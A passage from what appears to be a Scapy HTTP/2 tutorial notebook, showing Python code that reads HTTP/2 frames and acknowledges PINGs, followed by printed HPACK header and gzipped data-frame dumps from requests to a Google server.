- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 112,
- "text": [
- "117"
- ]
- }
- ],
- "prompt_number": 112
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's read the answers!"
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "# The stream variable will contain all read frames; we will read on until stream 1 and stream 3 are closed by the server.\n",
- "stream = h2.H2Seq()\n",
- "# Number of streams closed by the server\n",
- "closed_stream = 0\n",
- "\n",
- "new_frame = None\n",
- "while True:\n",
- " if not isinstance(new_frame, type(None)):\n",
- " if new_frame.stream_id in [1, 3]:\n",
- " stream.frames.append(new_frame)\n",
- " if 'ES' in new_frame.flags:\n",
- " closed_stream += 1\n",
- " # If we read a PING frame, we acknowledge it by sending the same frame back, with the ACK flag set.\n",
- " elif new_frame.stream_id == 0 and new_frame.type == h2.H2PingFrame.type_id:\n",
- " new_flags = new_frame.getfieldval('flags')\n",
- " new_flags.add('A')\n",
- " new_frame.flags = new_flags\n",
- " ss.send(new_frame)\n",
- " \n",
- " # If two streams were closed, we don't need to perform the next operations\n",
- " if closed_stream >= 2:\n",
- " break\n",
- " try:\n",
- " new_frame = ss.recv()\n",
- " new_frame.show()\n",
- " except:\n",
- " import time\n",
- " time.sleep(1)\n",
- " new_frame = None\n",
- "\n",
- "stream.show()"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = 0xe1\n",
- " type = HdrsFrm\n",
- " flags = set(['End Headers (EH)'])\n",
- " reserved = 0L\n",
- " stream_id = 3L\n",
- "###[ HTTP/2 Headers Frame ]### \n",
- " \\hdrs \\\n",
- " |###[ HPack Dynamic Size Update ]### \n",
- " | magic = 1\n",
- " | max_size = 12288\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 8\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 59\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 11\n",
- " | | data = 'HPackZString(Accept-Encoding)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 26\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 3\n",
- " | | data = 'HPackZString(gzip)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 31\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 9\n",
- " | | data = 'HPackZString(image/x-icon)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 33\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 36\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 44\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 16\n",
- " | | data = 'HPackZString(x-content-type-options)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 5\n",
- " | | data = 'HPackZString(nosniff)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 54\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 3\n",
- " | | data = 'HPackZString(sffe)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 28\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 3\n",
- " | | data = 'HPackZString(1494)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 12\n",
- " | | data = 'HPackZString(x-xss-protection)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 10\n",
- " | | data = 'HPackZString(1; mode=block)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 24\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 16\n",
- " | | data = 'HPackZString(public, max-age=691200)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 21\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 5\n",
- " | | data = 'HPackZString(472252)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 5\n",
- " | | data = 'HPackZString(alt-svc)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 28\n",
- " | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x5d6\n",
- " type = DataFrm\n",
- " flags = set(['End Stream (ES)'])\n",
- " reserved = 0L\n",
- " stream_id = 3L\n",
- "###[ HTTP/2 Data Frame ]### \n",
- " data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x8\n",
- " type = PingFrm\n",
- " flags = set([])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Ping Frame ]### \n",
- " opaque = 0\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x167\n",
- " type = HdrsFrm\n",
- " flags = set(['End Headers (EH)'])\n",
- " reserved = 0L\n",
- " stream_id = 1L\n",
- "###[ HTTP/2 Headers Frame ]### \n",
- " \\hdrs \\\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 8\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 33\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 36\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Literal\n",
- " | | len = 2\n",
- " | | data = 'HPackLiteralString(-1)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 24\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 13\n",
- " | | data = 'HPackZString(private, max-age=0)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 31\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Literal\n",
- " | | len = 3\n",
- " | | data = 'HPackLiteralString(p3p)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 81\n",
- " | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 78\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 54\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Literal\n",
- " | | len = 3\n",
- " | | data = 'HPackLiteralString(gws)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 28\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 3\n",
- " | | data = 'HPackZString(4420)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 72\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 0\n",
- " | \\hdr_name \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 11\n",
- " | | data = 'HPackZString(x-frame-options)'\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 9\n",
- " | | data = 'HPackZString(SAMEORIGIN)'\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 55\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 165\n",
- " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 71\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x122b\n",
- " type = DataFrm\n",
- " flags = set(['End Stream (ES)', 'Padded (P)'])\n",
- " reserved = 0L\n",
- " stream_id = 1L\n",
- "###[ HTTP/2 Padded Data Frame ]### \n",
- " padlen = 230\n",
- " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82<O\\xd8u\\x11\\xae\\x1cr^\\xa2\\x9f\\xbc\\x85\\xd9\\xc8>\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3<K7\\x17\\xda\\xdc\\x18\\x1dm\\xecr\\x0b\\xf4\\xaf^\\xbct\\x8e\\x16\\xf9\\x91\\xbd\\xe9u{v{\\xabT\\x08\\x91\\xe7|\\xf8XcG\\xa1\\xa3\\xd5\\xdf\\x01\\x13\\x17\\x97NC@{\\xebE\\x9awW4W\\\\\\x9bv:\\xdd\\x03\\x8a(O\\x85\\xc8C\\xb7\\x10\\xec\\xfe\\xfe\\xa0\\xeb:\\xbb}]\\xc2B\\x9f\\xf4z=\\xbbGa(\\xa39\\x04\\x87\\xdfR\\x9f\\xd99\\x13E\\x9e(\\xee\\xfd}\\xbd\\xce\\x8b\\xcbMk\\xe6\\x97_\\x9b\\xdaI\\x8a(\\xfa\\xfb\\xf3G\\xdf[@3)\\x866\\xee\\xb4\\xf4Sb\\xc80\\xcag\\xc4q\\xaa\\xd0\\x12\\xa5\\x1eE\\x8c>\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88<u\\xd1|\\x876\\xfb\\xb0\\xf8\\xe8\\xb8\\xb6\\xdbO\\x13\\x86B8\\xf8\\x15\\xa5\\xd4\\x97\\x1f\\xd4Ms\\xd1^\\xb6\\xcf\"&\\x98\\x82T\\x1b{\\'dw:;\\xcd\\xfe\\x8aE\\x8ft\\xf5\\xa3\\xe2\\xf1^P\\x1e,\\x82\\xe7\\x9eC[.\\xbd8\\xd67m}\\x80\\xb8\\x8f\\xaa\\xa4\\x94\\x90\\x90\\x96h\\xfc\\xfe\\x9e\\x10\\xdb\\xbb\\xbf?\\xd1\\x0f@\\x16\\xceh\\x0e6!\\x1d\\x16:\\xa4w\\x7f\\xdf\\x05t\\xf9}\\xdc\\xde4]\\xbf\\xa7\\x9e\\xe8N\\x1b?\\x92\\x04\\xe0\\xb5\\xbe\\xb3\\xe3\\xe4\\x80\\x8a\\xbd\\xec\\xd8\\xa9p\\x8e\\xa1\\xc3\\xa6\\x0e\\xccH\\x06\\xe4\\xb8\\x1b\\x00\\x0cX27\\xb4\\x11\\xe9\\x1d\\x93\\'\\x14r\\xbb\\x13v<H\\xb1\\xc7\\xf4\\x98t<P19v\\x8f\\xd9\\xf1\\x02Z\\x9fo\\xb7+\\x11\\xd2\\r\\xec\\xc1_e\\x1d\\x10\\xf6\\x05\\xe3\\x02\\xf4\\xd3\\xe9\\xb4\\x1d\\xbe\\x8b\\xb3\\xef{ \\xa1D\\xfa\\xe0\\x1a\\x149\\xa3j\\x10\\xc5\\xf1L\\xdf\\xf4T\\n\\xba\\xe9\\xd5;\\x876\\x1a\\xbds\\xd6\\xcd\\xf7\\xed\\x9e\\x83\\xd7(\\x1fh?\\xf4?:\\x1f\\xa0\\xf3c\\xc5\\xe1@\\xdf\\xda\\xe4\\xba\\x1d\\x83\\xd0mv\\xcd\\xb3\\rV\\xd7\\xfd\\xac\\xe0\\xcb\\xee\\x87\\x0f\\xf4#\\x0e|l\\xfb9\\xf5\\x9fF\\xfb\\x1bl\\x9f\\x0e\\xe7\\x07\\x9aM\\xaf\\xef\\xd1(\\xea\\x8ae\\xc8{\\xd2\\xb3\\xe9\\xfe\\xfeV1\\x98,s\\xb6\\xe8C?\\xbb}\\x05{\\xe2\\x90\\xc8\\xbd\\xa1\\x9d:n\\xe9,^\\x8d\\xc2\\x0b\\x97C\\xccI\\x82\\xae{\\xac\\x83\\xd2\\xbb\\x7f\\xddwz\\xd7\\xce\\xa0T\\xba\\x07JF\\x7f\\xf0vXu:\\xb4\\x9f\\xb3,\\xa2\\x1e\\xc4\\xa9A\\xe9)O\\xc8\\xb1\\xd7t\\x96\\\\\\x16\\x99\\xf3\\xe1\\xaf\\xce\\xc7\\xff\\x18\\x04*A\\x17\\x90&_\\x12\\x10\\xe2tP\\x15@\\xa7\\\\\\xdcA=t\\x18\\xb84W\\x0f\\x03L\\n\\x100\\xa14\\xe3\\xe1g6\\xd3\\x87\\xd9\\xad\\x